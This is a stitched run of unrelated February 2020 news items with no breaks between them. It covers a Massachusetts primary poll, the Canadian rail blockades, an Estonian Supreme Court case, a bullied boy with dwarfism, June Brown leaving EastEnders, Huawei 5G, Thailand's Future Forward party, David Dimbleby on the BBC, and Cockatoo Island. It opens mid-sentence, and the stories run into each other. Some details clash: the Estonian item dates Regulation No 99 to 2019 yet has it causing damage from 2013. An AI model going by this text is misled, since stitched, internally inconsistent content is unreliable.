backchannels. We do know that they are working on the case, but nothing that has been productive yet, said Maryam. Nothing that has been fruitful. Hes helped thousands of people. Were praying that well be able to help him The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Sens. Elizabeth Warren and Bernie Sanders are nearly in a dead heat in the fight for delegates in Warrens home state of Massachusetts, according to a poll out Friday from the UMass Lowells Center for Public Opinion. The progressive Sanders, who is fresh off his second New Hampshire primary victory in four years, received 21% of support from likely Massachusetts primary voters, a one-point edge over Warren at 20%. Warren, following disappointing third and fourth place finishes in Iowa and New Hampshire, is hoping to build off a fiery debate performance and ramp up fundraising heading into March 3, the decisive Super Tuesday when voters in Massachusetts and thirteen other states will pick their top candidates. This is a big moment for Elizabeth Warren," said Joshua Dyck, director of the Center for Public Opinion. While Bernie Sanders has emerged as the frontrunner in the race for the Democratic nomination, Warren registered her best debate performance to date in Nevada on Wednesday night and now looks to build on that momentum. In order for her to emerge from the pack, she has to be able to not only pick up delegates, but beat Sanders in her home state on Super Tuesday. Former South Bend, Ind. Mayor Pete Buttigieg came in third place at 15%, followed by former Vice President Joe Biden at 14%, former New York Mayor Mike Bloomberg at 12%. No other candidate reached double digits, according to the poll. Sanders is leading in national polls and has long dominated the Democratic fundraising race. The poll, of 450 likely Democratic primary voters, shows both Warren and Sanders have a window to sway 39% of voters who said they could still change their mind. Warren currently trails Sanders among younger voters, with 22% compared to Sanders 31% support. Among voters 45 and older, Warren leads Sanders at 19% to 16%, the poll found. Related Content: Canada's Prime Minister held an urgent meeting with his cabinet in Ottawa as the Indigenous-led rail blockades hit the two-week mark on Thursday. Rail protests sprung across the country in response to the arrest by the Royal Canadian Mounted Police (RCMP) of protestors in Wet'suwet'en territory in the western province of northern British Columbia. The RCMP was enforcing a court injunction to end a protest that was blocking the construction of the controversial Coastal GasLink natural gas pipeline. Pipeline project Tensions have been escalating since 31 December 2019 when the B.C. Supreme Court granted Coastal GasLink an expanded injunction against the Wet'suwet'en Nation members who were blocking access to the project. That in turn has prompted numerous solidarity protests across the country, with protesters blocking access to rain lines, legislatures and port entries. The project at stake is the 4.6 billion euro pipeline that would carry natural gas across northern B.C. On its website, Coastal GasLink says the proposed route was determined in valuing the culture, lands and traditions of the Indigenous groups. It adds that its team have over 15,000 interactions and engagements with Indigenous groupsso the project can be designed, constructed and operated in a safe and environmentally responsible way. Heart of the problem Indigenous communities across the country have supported the protests that they deem are not anti-pipeline, but more about aboriginal rights over territory. In the case of the Wet'suwet'en Nation, the Canadian government had previously recognized that all of the land in the country was originally owned by Indigenous people. That means before the federal government can make claims to the land, it has to take ownership of it. In this case, the Wet'suwet'en Nation had never given up its Aboriginal title, or in other words, its inherent right to the land. Speaking to CTV news, Brenda Gunn, an associate professor of law at the University of Manitoba says the Wet'suwet'en Nation have always claimed the land in question. From their perspective, no action had been taken to remove their jurisdiction over the land. The pipeline company may have received permission from Wet'suwet'un elected councils to build the pipeline, but it failed to get it from the hereditary chiefs who say they never agreed to give up that jurisdiction over their land. Hereditary chiefs are a traditional form of Indigenous governance that were in existence before the arrival of colonizers. Blockades and economy Camps have been blocking access to the pipeline's worksite. But following the RCMP's enforced court order to clear the camps, the protest have gone national. Railroads have been blocked all across the country as a form of protest. "We're working very hard to end the blockades. It's an unacceptable situation," the prime minister said ahead of the meeting with his cabinet on Thursday. He added that his government however will not issue an ultimatum to remove the blockades. Meanwhile the passenger rail company, Via Rail, announced nearly 1000 layoffs on Wednesday due to the cross-country blockade. The national freight carrier, CN Rail has also issued possible layoffs to some 450 workers. The continued blocking of all rain lines is starting to have negative impact on the national economy, while the province of Alberta which relies on gas and oil for financing has been much more critical of the protests. This is not about Indigenous people. It's not about carbon emissions, said Jason Kenney, the Alberta premiers. It's about a hard-left ideology that is, frankly, opposed to the entire modern industrial economy. It's about time that our police services demonstrated that this is a country that respects the rule of law. English Estonian Yesterday, on the 20 February 2020, the Supreme Court made a decision in administrative case No 3-16-2267, and left partly unsatisfied the complaint of AS Tallinna Vesi for compensation of damage caused by the Regulation No 99, of 29 November 2019 of the Government of the Estonian Republic, as well as the related penalty fee for late payment. AS Tallinna Vesi submitted the claim on the basis that the limits on zinc, copper and chrome established by the government were unconstitutional. On 13 November 2016, AS Tallinna Vesi filed a complaint with the Tallinn Administrative Court under the State Liability Act for the compensation of direct damage in the amount of EUR 1,136,191 (including excess pollution charge of EUR 1,002,138 and the income tax paid in the amount of EUR 134,053) caused by Article 8 (2) of the Regulation No 99 as well as corresponding penalty for late payment. The damage occurred due to the unlawful limits being established since 1 January 2013. After the entry into force of Article 8 (2) of the Regulation No 99 it was stipulated that the wastewater should be as pure as the water in water bodies. The established standards for wastewater are even stricter compared to the standards stipulated for drinking water. As a result of this change, the limit value for copper, zinc and total chromium in wastewater declined to the extent that it was impossible for AS Tallinna Vesi to ensure the compliance of wastewater discharged into water according to the environmental requirements. Therefore, AS Tallinna Vesi was required to pay an increased environmental fee, and lost the opportunity for reducing pollution charges under the Environmental Charges Act. AS Tallinna Vesi found that the damage is caused by a significant breach of the public authoritys obligation as the Regulation No 99 was established without any substantive analysis (including the ignorance of investment needs of companies who are bound with nature and water). Explanatory memorandum to the Regulation No 99 does not indicate how the established limit values (which do not have a transitional period) are achievable, especially considering that these values are not technologically achievable even to date. Unjustifiably stricter requirements were set for discharging wastewater into the sea compared to discharges into rivers and lakes. Unconstitutionality (disproportionality) of the established limits is confirmed by the amendment of the Regulation No 99, since 1 January 2017, when the previous limits were re-established. If the relevant natural circumstances, technological possibilities, economic effects and technological capabilities of the undertakings would have been duly taken into account when establishing the Regulation No 99, the limits would have been stipulated to the extent permitted by the law and the damage to AS Tallinna Vesi would have never occurred. The Supreme Court found in the 20 Febuary 2020 decision that the damage to AS Tallinna Vesi was not caused by the state legislation, i.e Regulation No 99, but was caused by the special water permit issued to the company, on the basis of which also the obligation to pay environmental charges was determined. In assessing the legality of the Regulation No 99, the Supreme Court did not deem it necessary to take into account the fact that the company was granted an environmental permit within the limits set by the Regulation No 99. Despite the request of the Company, the Supreme Court also dismissed the constitutional review proceedings of Regulation No 99 despite the fact that in 2017 the limits for heavy metals were significantly reduced. The costs of the proceedings were left to be paid by the Government of the Estonian Republic. Viive Ligi, a judge of the Supreme Court, expressed a dissenting opinion on the Supreme Court decision, and did not agree with the majority opinion according to which the damage claim was dismissed. Viive Ligi found that there was a causational link between the Regulation No 99 adopted in 29 November 2019, and the damages caused to AS Tallinna Vesi and the case should have been sent back to the first instance. Eliis Randver Head of Customer Relations and Communication Tallinna Vesi (+372) 626 2275 Eliis.randver@tvesi.ee Mariana Lopez Ortiz (pictured), who also has dwarfism, issued a powerful message to support Quaden An American mother with dwarfism has issued a poignant message to Australian nine-year-old Quaden, after cruel bullies left him on the brink of suicide. Quaden was mercilessly mocked by children at school, prompting his mother to share a shocking video online where he said he wanted to die. The youngster has since received an outpouring of support from the public and celebrities, including Hugh Jackman. Marina Lopez Ortiz, a mother who also has dwarfism, said Quaden's ordeal had broken her heart 'into a million pieces'. 'Quaden, I don't know you personally young man but you are very loved,' she wrote. 'There are mean people in this world, and I wish I could tell you it's going to stop with a snap of a finger but unfortunately I can't. 'What I can tell you is you need to be strong, everyone may not like you but guess what? You don't need them. 'Those who mind, don't matter. And those who matter, don't mind.' She went on to tell the youngster that he is 'one of a kind for a reason' and that he should be proud of himself. 'Mean people are mad people that wish they could be as great and loved as you,' she added. 'Your mama, family and so many others are so proud of you. 'It's tough, it's not easy but you're not alone. You are one of a kind for a reason. 'Different is unique, and you should be proud.' Mariana Lopez Ortiz (pictured, left) told Quaden (right) that he should be proud of who he is His mother, Yarraka Bayles, posted the video online earlier this week, and it has now been viewed more than 10 million times. 'This is the impact that bullying has on a nine-year-old kid that just wants to go to school, get an education and have fun,' she said. What is Achondroplasia? Achondroplasia is a disorder of bone growth that prevents the changing of cartilage (particularly in the long bones of the arms and legs) to bone. It is characterised by limited range of motion at the elbows, large head size (macrocephaly), small fingers, and normal intelligence. Achondroplasia can cause health complications such as interruption of breathing (apnea), obesity, recurrent ear infections and an exaggerated inward curve of the lumbar spine. People with dwarfism have a normal life expectancy. Source: US Department of Health Advertisement Reaching out to Quaden and his family, Ms Lopez Ortiz said people with disabilities are often met with cruelty. 'As a person with dwarfism, and a mother of a child with dwarfism this breaks my heart into a million pieces,' she wrote. 'This is definitely not OK. It saddens me that people with disabilities are looked at and pointed out as different, and we have to learn how to adjust to this rough world, like it isn't hard as is. 'Like we had a choice, instead of schools, and parents doing their f******g job and educating on these topics. Ya'll need to start making all disabilities a topic of conversation, as well as the diversity of races.' Speaking to indigenous Australian TV channel NITV in the wake of the viral footage, Quaden encouraged others to stand up for themselves when face-to-face with a bully. Quaden is pictured with NRL star Latrell Mitchell. The nine-year-old will lead the Indigenous All Stars NRL team onto the pitch on Saturday His mother, an Aboriginal rights activist, said her son has made several attempts to take his own life 'If you get bullied, just stand up for yourself and don't listen to what they say,' he said. The nine-year-old believes parents should educate their children about people with disabilities to prevent further bullying. 'The parents should make their kids be nice to people with disabilities,' he said. Ms Bayles said her 'strong' son wants other people to know how he feels and no longer wants to 'suffer in silence'. 'It's 2020 and bullying is at an all-time high and especially within our communities, people don't understand that if you're Indigenous, you're already copping discrimination and racism,' she said. The video has sparked an outpouring of sympathy for the nine-year-old from members of the public and celebrities including Hugh Jackman. 'Quaden you are stronger than you know, mate. And no matter what, you have a friend in me,' Jackman said in a video posted to his Twitter account. Quaden will also lead the Indigenous All-Stars out onto the field in their rugby league clash with the Maori All Stars in Queensland on Saturday. NRL legend Johnathon Thurston (pictured) has offered his support to Quaden since the video went viral Through a heart warming Instagram post, Thurston said Quaden 'was loved' and to 'stay strong' They will take on New Zealand Maori Kiwis at CBUS Super Stadium on the Gold Coast. The nine-year-old was snapped with NRL star Latrell Mitchell, who donned a South Sydney Rabbitohs jersey after signing with the club for the 2020 season. Quaden's mother Yarraka shared the distressing video which sparked the outpouring of support after picking her son up from school on Wednesday. The schoolboy, who has achondroplasia - the most common type of dwarfism - told his mother: 'Give me a rope, I want to kill myself.' In the video, which has been viewed more than three million times, Quaden also said: 'I just want to stab myself in the heart... I want someone to kill me.' Quaden also scratched at his neck and said: 'I want to die... I want to scratch myself.' Ms Bayles shared the original video publicly on Facebook in a bid to raise awareness about the impact of bullying. Quaden Bayles, nine, (pictured) was bullied so badly he was seen in heart breaking footage asking to kill himself She said she normally tries to keep distressing moments such as this private but felt she had been left with no choice but to go public. 'We try to be as strong as positive as possible and only share the highlights... but this is how bullying affects a nine-year-old kid,' she said in the video. At the start of the five-minute clip, Ms Bayles said: 'I just picked my son up from school, witnessed a bullying episode, rang the principal and I want people to know this is the effect bullying has. This is what bullying does. 'So can you please educate your children, your families, your friends because all it takes is one more instance... and you wonder why kids are killing themselves.' 'This is the impact bullying has a nine-year-old kid who just wants to go to school, get an education and have fun but every single fricking day something happens. 'Another episode another bullying, another taunt, another name-calling.' As Quaden sobbed, Ms Bayles asked for help from anyone viewing the footage. 'So is there any advice or support or anything that other parents have done? 'I've got some good advice but I need more, I want people to know how much it is hurting us as a family,' she said as her voice quivered. The mother did not go into specifics about the latest bullying incident, but previously said her son was called a 'midget' by his class mates. Last year Quaden's mother told the Courier-Mail that he first tried to kill himself three years ago when he was just six. 'I was so shocked. I honestly didn't think he would even know what or how at six years old,' she said. Actor Jeffrey Dean Morgan (pictured), who plays villain Negan in The Walking Dead, also reached out to Quaden on Twitter The mother, an Aboriginal rights activist, said her son has made several attempts to take his own life. 'I've explained to him that once you go, there's no coming back, you're gone forever, but he still kept trying,' the mother said. She also said Quaden has been affected by the death of his grandfather and his younger half-brother, who was stillborn. 'He thought if he went to heaven, then he'd be with his Pop and his little brother,' she said. She told the newspaper she was proud that she had spoken publicly about asking for help. Actress June Brown said she has left EastEnders after 35 of playing chain-smoking Albert Square mainstay Dot Cotton (Ian West/PA) Actress June Brown said she has left EastEnders after 35 years of playing chain-smoking Albert Square mainstay Dot Cotton. The 93-year-old actress, whose stint on the soap began in 1985, said she has left the show for good. Her character had not featured since an episode last month, when Dot left a voicemail for Sonia Fowler, played by Natalie Cassidy, saying she had moved to Ireland. Speaking on the Distinct Nostalgia podcast to former co-star Rani Singh, Brown said: I dont want a retainer for EastEnders, Ive left. Ive left for good. June Brown is leaving EastEnders after 35 years of playing Dot Cotton (BBC/PA) Ive sent her off to Ireland and thats where shell stay. Ive left EastEnders. I did make up a limerick. Its a bit dirty. I went back to do a good story. Alas and alack, when I got back it had gone up in smoke. Well that is no joke. I got a small part, a very small part. And that ended up as a big wet fart. Alas and alack, I will never go back. Brown is perhaps EastEnders best-known star and played the larger-than-life Dot, known for her devout Christian faith and hypochondria. The veteran actress arrived on Albert Square shortly after the soap began in 1985, and aside from a break between 1993 and 1997, has been a regular since. I was feeling down a few days ago. I thought, Whats the matter? Why do I feel so sad? Its almost as if Ive been bereavedJune Brown Some of Dots biggest storylines have explored controversial issues such as euthanasia, cancer and homophobia. Her marriage to Jim Branning, played by John Bardon, was popular among fans while she was also mother to the notorious criminal Nick Cotton, played by John Altman. During her podcast appearance, Brown said leaving EastEnders felt like a bereavement. I was feeling down a few days ago, she said. I thought, Whats the matter? Why do I feel so sad? Its almost as if Ive been bereaved. Ive played two people simultaneously for 35 years. Really Dot wasnt me, but spiritually she probably was. Brown won several awards for her portrayal of Dot, including a lifetime achievement honour at the 2005 British Soap Awards. In 2009, she was nominated for the best actress prize at the TV Baftas. An EastEnders spokesman said the door remains open for Brown to return. A statement said: We never discuss artists contracts, however as far as EastEnders are concerned the door remains open for June, as it always has if the story arises and if June wishes to take part. Qiu Heng, President of Global Marketing of Huawei Enterprise Business Group, speaks at Huawei product and solution launch event in London, Britain, on Feb. 20, 2020. Chinese tech giant Huawei announced here on Thursday that it has so far been awarded 91 commercial 5G contracts and shipped over 600,000 5G Massive MIMO Active Antenna Units (AAUs). (Xinhua/Han Yan) LONDON, Feb. 20 (Xinhua) -- Chinese tech giant Huawei announced here on Thursday that it has so far been awarded 91 commercial 5G contracts and shipped over 600,000 5G Massive MIMO Active Antenna Units (AAUs). Ryan Ding, Executive Director of the Board and President of Huawei's Carrier BG (business group), released Huawei's new 5G products and solutions and launched the 5G Partner Innovation Program at the company's product and solution launch event in London. 5G has developed beyond imagination in terms of deployment, ecosystem, and experience, said Ding. As a leading global 5G supplier, Huawei is committed to developing the best end-to-end 5G solutions, which will include the industry's highest-performance 5G base station that supports all scenarios and the Blade AAU with the industry's highest level of integration, according to Huawei. In the 4G era, virtually all operators provided the same network experience, but when it comes to 5G, operators can provide differentiated experiences and charge users based on more metrics, including data volume, latency, bandwidth, and number of devices connected, said Ding. This makes it possible to monetize 5G, and it is critical that operators redefine their 5G business models now, added Ding. In addition to products, Huawei plans to invest 20 million U.S. dollars into innovative 5G applications over the next five years through the 5G Partner Innovation Program, with the aim of contributing to a thriving 5G ecosystem and accelerating the commercial success of 5G. Share this article Whatsapp Facebook Twitter Linkedin Panu Wongcha-um and Panarat Thepgumpanat (Reuters) Bangkok, Thailand Fri, February 21, 2020 19:20 690 7f440ff09e92db75a02bbad2065e3504 2 SE Asia Thailand,opposition,military,junta-government Free Thailand's Constitutional Court on Friday dissolved an opposition political party that has been critical of the military establishment and banned its charismatic leader from politics for 10 years over a loan he gave the party. The dissolution of the Future Forward Party comes less than a year after Thailand held a general election to end five years of military rule and it strengthens the position in parliament of a coalition led by Prime Minister Prime Minister Prayuth Chan-ocha, the former junta leader who first took power in a 2014 coup. Future Forward, led by auto-parts billionaire heir Thanathorn Juangroongruangkit, 41, has been sharply critical of military dominance of politics. It surprised many by coming third in the elections last year, winning the support of many young people and 81 of the 500 seats contested in parliament. The court ruled that the party broke the law by taking a 191.2 million baht ($6.08 million) loan from Thanathorn. "The party is ordered to be dissolved according to the 2017 political party law," Constitutional Court Judge Panya Utchachon said in his ruling. The court also banned Thanathorn and 15 other party executives from politics for 10 years. The party and Thanathorn have denied any wrongdoing Most of the party's members of parliament will retain their seats and can form a new party, but the ban on its leaders will reduce the opposition's votes and its ability to block Prayuth's agenda. Some Future Forward supporters at the party's headquarters burst into tears when the court's decision was announced. "Im a bit loss at the moment. If Thanathorn decides to continue the fight, we will stick with him. We won't let him fight alone, said Wanna Butrkan, 55, from Udon Thani province in the northeast. Thanathorn, who was not in court, was due to speak to supporters later in the day. Human rights groups and democracy advocates condemned the court's decision. "Last years election was supposed to bring an end to military rule in Thailand, but after today no one is fooled into believing this is the case," said Francisca Castro, a Philippine lawmaker and member of ASEAN Parliamentarians for Human Rights. Prayuth's pro-army party came first in the March 2019 election but opposition parties say electoral laws written by the junta were designed to give the military establishment control over politics. The court on Friday said the loan to the party amounted to a donation because it did not follow commercial practices in lending. The election law limits donations from an individual to 10 million baht ($318,167). Away from the goverment run Swachh Bharat Abhiyan, a firm in Pune is doing its bit to contribute to the cleanliness mission by turning buses into women's toilets. For a relatively affordable five-rupee-fee, any woman can board the toilet to use the facilities, breastfeed babies or purchase sanitary napkins and diapers. Isn't that something? It is an initiative that makes it more convenient for women to make use of such innovative facility. AFP Launched in 2016 by entrepreneurs Ulka Sadalkar and Rajeev Kher, the "Ti Toilet" project - "ti" means "her" in Marathi - has 12 mobile washrooms, on average used by more 200 women daily. The buses are powered by solar panels mounted on top of the vehicle. While talking to news agency AFP about the progressive innovation, Ms Sadalkar said the pair, who run a portable sanitation business, came up with the idea as part of a series of projects focused on improving hygiene in Pune. "We believe women deserve access to clean and safe washrooms and it is their basic right," she said adding that the duo wanted to open 1,000 toilets across India in the next five years. AFP "We focused a lot on aesthetics in refurbishing these buses and provided clean toilets, television sets, temperature monitors with an attendant in tow." Even as India went on a building spree constructing millions of toilets as part of Prime Minister Narendra Modi's flagship "Clean India" programme, experts said the lack of water or electricity meant many remain unused. AFP But these projects that have less to do with the goverment and are more about people in individual capacity finding the right ideas and trying to chip in with whatever little contribution to make amenities easier to access. It is no doubt a great initiative and will only go on to help in the ultimate objective of a clean India. David Dimbleby has launched a savage attack on 'lying' Boris Johnson's 'pernicious' attempt to curb the BBC licence fee. The veteran broadcaster accused the Prime Minister of using the issue to undermine the corporation and avoid having his policies scrutinised. He said Mr Johnson 'doesn't give a damn' about fairness because his landslide election victory had made him 'arrogant with power'. His conduct towards the BBC was 'childish, peevish and unpleasant', he added. David Dimbleby has launched a savage attack on 'lying' Boris Johnson's 'pernicious' attempt to curb the BBC licence fee. Pictured: Dimbleby with Boris Johnson then London Mayor on Question Time Dimbleby, 82, said the PM was 'apeing Donald Trump' by using the same 'political rulebook' to try to control the media. And he took a fierce sideswipe at Mr Johnson's chief adviser Dominic Cummings, seen as the driving force behind Downing St threats to cut the licence fee or scrap it altogether. 'Johnson's never governed anything, Cummings has never governed anything,' said the former Question Time host. 'They're ignorantfloundering. I don't think they have a strategy.' His comments were disclosed after Downing Street mooted a radical overhaul that could mean introducing a subscription model, forcing the sale of most BBC radio stations, cutting the number of TV stations and reducing the amount of online content. Senior BBC figures have been encouraging people to sign a petition demanding the PM stops trying to 'undermine' the broadcaster. And some Tory backbenchers have urged Mr Johnson not to 'pick a fight' with the corporation, saying it still plays a key role in national life. Dimbleby also took a fierce sideswipe at Mr Johnson's chief adviser Dominic Cummings (pictured), seen as the driving force behind Downing St threats to cut the licence fee or scrap it altogether In an interview broadcast by Germany's ARD state TV channel, Dimbleby said: 'The BBC is under threat in a way it has never been before. The pernicious route they [the Government] are using is to say the licence fee is wrong or unfair. I don't believe it is wrong or unfair. 'It is a way of damaging and undermining the BBC that is dangerous and should be resisted forcefully if public broadcasting is to survive. Anything that chips away at what we believe to be a good democratic process is dangerous and has to be fought against. 'It has to be explained why not speaking to people is dangerous, why not appearing on television is dangerous.' However, Dimbleby, who saw Mr Johnson at close quarters during the election campaign while making a BBC documentary about him, went much further in remarks made in the long interview with ARD that were not broadcast. A transcript of the full interview shows that he launched a vitriolic personal attack. According to the transcript he said: 'Nobody trusts Boris Johnson. Who could trust Boris Johnson? He lies everywhere to everyone. He lies to his family. He just makes it up, you know. The veteran broadcaster, 82, (pictured) accused the Prime Minister of using the issue to undermine the corporation and avoid having his policies scrutinised 'Johnson is apeing some of the attitudes of Trump. He is a different kind of political animal, like Trump, very similar rulebook. If you are like that the one thing you don't want is people questioning what you're doing, which is why he won't let his ministers go on television or any serious programme.' His acid views Dimbleby during the broadcast: 'The BBC is under threat in a way it has never been before. The pernicious route they are using is to say the licence fee is wrong or unfair. 'I don't actually believe it is wrong or unfair. It is a way of damaging and undermining the BBC that is dangerous and should be resisted.' ...and remarks not broadcast: 'Nobody trusts Boris Johnson. Who could trust Boris Johnson? He lies everywhere to everyone. He lies to his family. Johnson is apeing some of the attitudes of Trump. 'If youre in the glorious moment of supreme power the one thing you dont want is to be held to account... 'He doesn't take any notice of what people say. He doesn't care what people think. He just wants to be Prime Minister.' Advertisement Johnson 'doesn't give a damn for independent analysis, impartial judgment on what it [the Government] is doing. They're not willing to submit to scrutiny because they're arrogant with power. And they won't last. 'If you're in the glorious moment of supreme power the one thing you don't want is to be held to account. You do it your way. Boris Johnson, above all politicians, does it his way. He doesn't take any notice of what people say. 'He doesn't care what people think. He just wants to be Prime Minister.' But he claimed the tactic would backfire, and said that moment could occur when Mr Johnson's Brexit strategy started to go wrong. 'The moment will come when they need to talk to someone. Things are not going to go easy. The decisions that are stacking up over Brexit, trade negotiations, are going to be very difficult. At some point they will need to explain why they failed to get the 100 per cent they promised.' In the edited part of the interview that was broadcast, Dimbleby lambasted Mr Johnson's decision to use his own in-house TV film makers for his Brexit night broadcast instead of the BBC or another mainstream media organisation. Mocking the kind of soft interview he said Mr Johnson wanted, grinning Dimbleby went on: 'The idea he can have his own television unit and you come in, chat to him, and say "ooh, Prime Minister, things are going very well," and he says, "yes, it's going very well, thank you." That is taking us back 50 years. It's propaganda.' In the full transcript, Dimbleby said: 'The whole idea of a national broadcaster that speaks truth to the nation and is impartial and objective is under threat.' Downing Street mooted a radical overhaul that could mean introducing a subscription model, forcing the sale of most BBC radio stations, cutting the number of TV stations and reducing the amount of online content But he conceded that the Government's anti-licence fee move was a 'clever strategy'. It was a 'good moment to latch on to' the growth in Netflix and social media to argue 'why should people pay 154 a year to watch the BBC when they don't watch the BBC. What are they paying for?' There was a 'small element of truth in it', said Dimbleby and there was a case to 'tweak' the licence fee. It was reasonable that people on welfare benefits did not pay it, but wealthy older people, such as him, should carry on paying. There has been a significant revolt from Tory MPs about No 10's threat to shake up the BBC. Earlier this week, Huw Merriman, who is chairman of the all-party parliamentary group on the BBC, said the 'ideological trench warfare' against the corporation was 'unedifying'. Downing Street last night declined to comment on the Dimbleby interview. A 19-year-old girl was arrested and sent to 14-day judicial custody for shouting "Pakistan zindabad" at an anti-CAA rally here a day ago, police said on Friday. "Amulya was arrested after we booked her under sections 124A, 153A and 153B of the IPC in a sedition case filed suo-motu for raising pro-Pakistan slogans at an anti-CAA rally," a police official told IANS. The police produced Amulya earliar in the day at the residence of Judge Shamsheen Ankur, who sent her on a 14-day judicial custody. Amulya was whisked away from the dais on Thursday for shouting "Pakistan zindabad" at the anti-CAA rally organised by the Hindu-Muslim-Sikh-Issai Federation at the Freedom Park in the city, where AIMIM president Asauddin Owaisi was present and prevented her from raising the pro-Pakistan slogan. Attacking the AIMIM and Owaisi, the Karnataka unit of BJP tweeted: "'Anti-CAA Activist Amulya Leona shouts PAKISTAN ZINDABAD in the presence of AIMIM Chief @asadowaisi at Bengaluru. Truth is that protests against #CAA are a joint venture between Pakistan & Anti-National Forces led by @INCIndia. Those who support Pakistan should go there forever." Owaisi reportedly has clarified that his party has no links with Amulya. Amulya's father Leona Noronha has condemned his daughter's act. Speaking to the media, he said: "said: "What she said is wrong. She was joined by some Muslims and wasn't listening to me!" In the video that went viral within minutes of the incident on Thursday evening Amulya was seen taking lead as speaker on the dias, even as Owaisi and other leaders were still getting on to the podium. A number of men, including Owaisi and police men and oragnisers tried to stop her. Speaking in Kannada, she was heard telling "Pakistan Zindabad", when stopped and pulled by men around her, she fought to get back and shouted "Hindustan Zindabad". There was much confusion. In 2017 Berg, after private discussions with another board member, met with the chair of the trust, Kevin McCann, who was a former chair of Macquarie Bank, and the trusts chief executive, Mary Darwell. McCann and Berg were acquainted socially and through their business connections. Businessmen and art collectorTony Berg was part of the group who took the proposal to the Sydney Harbour Federation Trust. Credit:Peter Braig The then federal environment minister Josh Frydenberg and his department were informed of the proposal. While McCann says he thought the "art island' idea was imaginative", he told the Herald "I was trying to find a way to reach an agreement with [Berg and Goldberg] but they never budged from wanting the whole island. I was concerned that the trust role would be diluted to a point which would diminish our capacity for oversight. The project went back and forth over a couple of years. Berg says the trust blew hot and cold and hot and cold. Eventually the trust rejected the pairs proposal, saying it did not fit with the aims of the governing Act, and that it would commission its own refreshed vision for the island. McCann believed the art island proposal to be dormant when he left the trust board in 2018. However by May 2019, Berg and Goldberg had stepped up their campaign, registering a charitable outfit called the Cockatoo Island Foundation Limited. The foundations constitution said it aimed to restore, conserve and maintain the heritage of Cockatoo island and facilitate its appreciation by the public; that it would take all necessary steps to acquire the property for the purposes of [a] museum; and that it should aim to lease buildings or areas of land for, and to operate, retail shops, marinas, pop-up stores, and/or other commercial enterprises. McCanns successor as trust chair, Joseph Carrozzi, says he was blindsided by the development. We were not advised that the foundation was being established, he told the Herald. When it came to our attention, we wrote to Tony Berg and asked for the legal basis on which it has been established. We have advised them that we are taking legal advice to ensure that there is no confusion in the community on the role of that foundation vis a vis the trust. Yet the foundation and the trust continued to engage. By July last year, Goldberg and Berg had recruited 10 internationally recognised experts to help flesh out their vision, including architect Alec Tzannes, Lucy Turnbull in her role as a city planner, and overseas arts curators. This visioning group held a three-day workshop on the island. Cockatoo Island is one of the sites that belongs to the Sydney Harbour Federation Trust. By now the trust was facing severe financial headwinds. It was sliding into operational deficit. It was facing a sunset clause which meant it would cease to exist in 2033, unless its legislation was amended, with some of its lands most likely ending up with the state government. And Commonwealth funding to support completion of the decontamination and rehabilitation of the former defence lands had dried up. (The trusts core mission is to conserve and preserve these harbourside precincts for present and future generations.) The trust commissioned a report by Deloitte which estimated up to another $300 million might be needed to complete full remediation and rehabilitation. That report, together with the looming sunset clause, helped trigger an independent review announced by federal Environment Minister Sussan Ley in October last year. A former head of the NSW Planning Department, Carolyn McNally, and former head of Infrastructure NSW, Erin Flaherty, were appointed to conduct the review and report by the end of next month. Environment Minister Sussan Ley announced an independent review last year. Credit:Alex Ellinghausen In its submission to the reviewers, the trust says it wants to be able to let out some assets for up to 49 years in limited circumstances and subject to ministerial approval. (At the moment its maximum leases have been up to 25 years.) For its part, the Berg/Goldberg foundation is pressing for a minimum 50-year lease over Cockatoo and wants the trust to hand over control of the island completely, to a new public-private partnership body. All of this has triggered intense debate over the future of the trust sites, which include the North Head Sanctuary at Manly, Headland Park at Middle Head, and the former submarine base Platypus at Neutral Bay, as well as the island. Loading Most contentious has been the notion of 49-year leases, which federal Opposition Leader Anthony Albanese says will mean de facto privatisation of public lands. Albaneses view is shared by a longstanding community watchdog group, the Headland Preservation Group, whose president, Jill LEstrange, told the Herald that 49-year leases amounted to effective alienation of publicly-owned assets. Albanese also believes that $300 million to complete rehabilitation of trust sites is inflated and hes taken issue with the governments assertion that the trust should become come self- funding, though Ley says both sides of politics have proceeded on that assumption. Carrozzi told the Herald that the trust is nowhere near self-funding and we will never be. However he is toning down the bid for $300 million in federal funds, and on Thursday said "we will be more than happy for an expression of support by the government that says we will give you $200 million over the next 10 years. That support is more critical than having cash in the bank." The trust, he added, had no intention of parting with Cockatoo Island to the Berg/Goldberg group or any other private or public agency. We see Cockatoo Island as a core part of our asset base, because it tells a unique layered story of the history of Sydney and that is what we have been created to protect and enhance, he said. Inside the Liberal Party, the review ordered by Ley is causing ructions. Liberal Senator Andrew Bragg has told the review the trust should be placed on a permanent footing but he has backed the idea of it granting much longer leases (he suggests around 45 years). The issue is sensitive in Tony Abbotts former north shore seat of Warringah, now held by independent Zali Steggall. Warringah is home to several of the key trust sites. The Liberal Party is desperate to win back the seat but the review could blow up in the federal governments face if enough people in the well-heeled electorate believe the protection of the trusts assets is at stake. The proposal has triggered debate over the future of trust sites including Headland Park at Middle Head. Credit:Kate Geraghty Lisa Paulsen, secretary of the partys Warringah federal electorate conference and vice-president of its Mosman west branch, told the Herald this week shed become increasingly concerned the more shed learned of what was at stake. She added: I cannot just sit back and see others, such as Jill LEstrange and her Headland Preservation Group, work indefatigably to protect what is a valuable and honourable Liberal Party legacy, while some others in the party seem either oblivious to the nature of the current Sydney Harbour Federation Trust issue, or worse, are involved in destroying this legacy by the possible introduction of 49-year leases of [trust] properties". "We are not seeing any prominent Liberals coming out and saying this is wrong. Carrozzi says 49-year leases would be outliers, aimed at attracting capital investment to some trust sites. We will never, under the current board, entertain the trust diverting from the purpose for which it was created. We will never do that. Cockatoo Island is rich with Indigenous, convict and military history. Credit:Rheyy Wyman Significantly, McCann is not totally opposed to 49-year leases either. He says: They are not going to be handed out indiscriminately. There is only one site I can think of, the old barracks on North Head which will otherwise remain unoccupied and undergo demolition by neglect ... that would be subject to ministerial approval and the minister always takes very seriously any long-term lease. However Nick Hollo, a highly respected former deputy director of the trust, is cautious about 49-year leases. In a way its better to have shorter leases because you are more likely to have people doing individual buildings rather than doing a whole precinct, he says. Highland Park and London Heathrow team up for travel retail release Scotch whisky maker Highland Park has collaborated with London Heathrow and World Duty Free on an exclusive bottling. Just 642 bottles of the limited-edition whisky, bottled at 12 years old at cask strength 64.4%, have been released and will be available exclusively at the World of Whiskies main stores in Heathrow's terminals. It has a recommended sale price of 105. Highland Park says the single cask release draws its flavour from first fill American oak and sherry puncheon casks, with a nose of vanilla, almonds and gentle smoke, marzipan, lemon peel and vanilla on the palate and a sweet but citrussy finish. 